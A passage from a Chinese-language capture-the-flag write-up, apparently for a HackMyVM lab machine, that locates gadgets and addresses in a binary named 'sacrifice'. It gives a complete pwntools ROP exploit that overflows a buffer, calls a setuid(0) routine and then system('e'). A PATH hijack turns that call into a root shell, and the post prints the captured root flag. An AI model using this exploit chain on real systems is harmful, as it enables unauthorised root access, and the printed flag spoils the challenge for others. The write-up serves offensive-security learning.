0x7ffff7fc9000 0x7ffff7ff0000 0x27000 0x1000 r-xp /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ff0000 0x7ffff7ffb000 0xb000 0x28000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffb000 0x7ffff7ffd000 0x2000 0x33000 r--p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffff7ffd000 0x7ffff7fff000 0x2000 0x35000 rw-p /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7ffffffde000 0x7ffffffff000 0x21000 0x0 rwxp [stack]
(gdb)

可以看到fire最后的字符e后面是\x00可以利用此来字符来执行命令

地址为0x2018

1
2
3
4
5
6
7
8
9
10
11
12
❯ objdump -s -j .rodata sacrifice

sacrifice: file format elf64-x86-64

Contents of section .rodata:
2000 01000200 00000000 2f686f6d 652f6865 ......../home/he
2010 73696f64 2f666972 65000000 00000000 siod/fire.......
2020 57686174 20697320 796f7572 206f6666 What is your off
2030 65722074 6f207468 6520676f 64733f00 er to the gods?.
2040 62656566 0054616b 65207468 69732067 beef.Take this g
2050 6966742e 002f6269 6e2f6261 73680054 ift../bin/bash.T
2060 68616e6b 732c206d 6f727461 6c2e00 hanks, mortal..

所以str_addr= 0x555555554000 + 0x2018 = 0x0000555555556018

查找system函数的地址,下面两个随便一个都可以

1
2
3
4
5
❯ objdump -d sacrifice|grep system
0000000000001030 <system@plt>:
1030: ff 25 e2 2f 00 00 jmp *0x2fe2(%rip) # 4018 <system@GLIBC_2.2.5>
11a4: e8 87 fe ff ff call 1030 <system@plt>
122c: e8 ff fd ff ff call 1030 <system@plt>

call_system_addr = 0x555555554000 + 0x00000000000011A4 = 0x00005555555551a4

好了,除此之外我们还需要获取pop_rdi_addr的地址

用于弹出字符串"e"到 RDI,确保 RDI 寄存器正确指向 "e"

我们可以利用ROPgadget搜索可用的gadget

1
2
❯ ROPgadget --binary sacrifice --only 'pop|ret'|grep rdi
0x00000000000012ab : pop rdi ; ret

得到 pop_rdi_addr = 0x555555554000 + 0x12ab = 0x00005555555552ab

其余paddingthief_addr在前文已经获取了

所以直接构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64', os='linux', log_level='info')

# 假设的地址
offset = 88
thief_addr = 0x0000555555555185 # 设置setuid 为 0
pop_rdi = 0x00005555555552ab # pop rdi; ret 的地址
str_addr = 0x0000555555556018 # "e" 字符串地址
system_addr = 0x00005555555551a4 # system 函数地址

# 构造 ROP 链
payload = b'A' * offset
payload += p64(thief_addr) # 初始跳转
payload += p64(pop_rdi) # 弹出"e"到 RDI
payload += p64(str_addr)
payload += p64(system_addr) # 调用 system("e")

# 发送 payload
p = remote('192.168.60.134', 6666)
p.send(payload)
p.interactive()

写入执行命令,并赋予可执行权限

1
2
3
4
5
6
7
prometheus@titan:~$ id
uid=1001(prometheus) gid=1001(prometheus) groups=1001(prometheus)
prometheus@titan:~$ ls
sacrifice
prometheus@titan:~$ echo 'bash -p' > e
prometheus@titan:~$ chmod +x e
prometheus@titan:~$ export PATH=.:$PATH

尝试执行exp

1
2
3
4
5
6
7
8
9
10
prometheus@titan:~$ nc -lvp 6666 -e ./sacrifice
listening on [any] 6666 ...
---------------------------------------
❯ python3 exp.py
[+] Opening connection to 192.168.60.134 on port 6666: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
$ cat /root/root.txt
HMVgodslovesyou
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 502.5k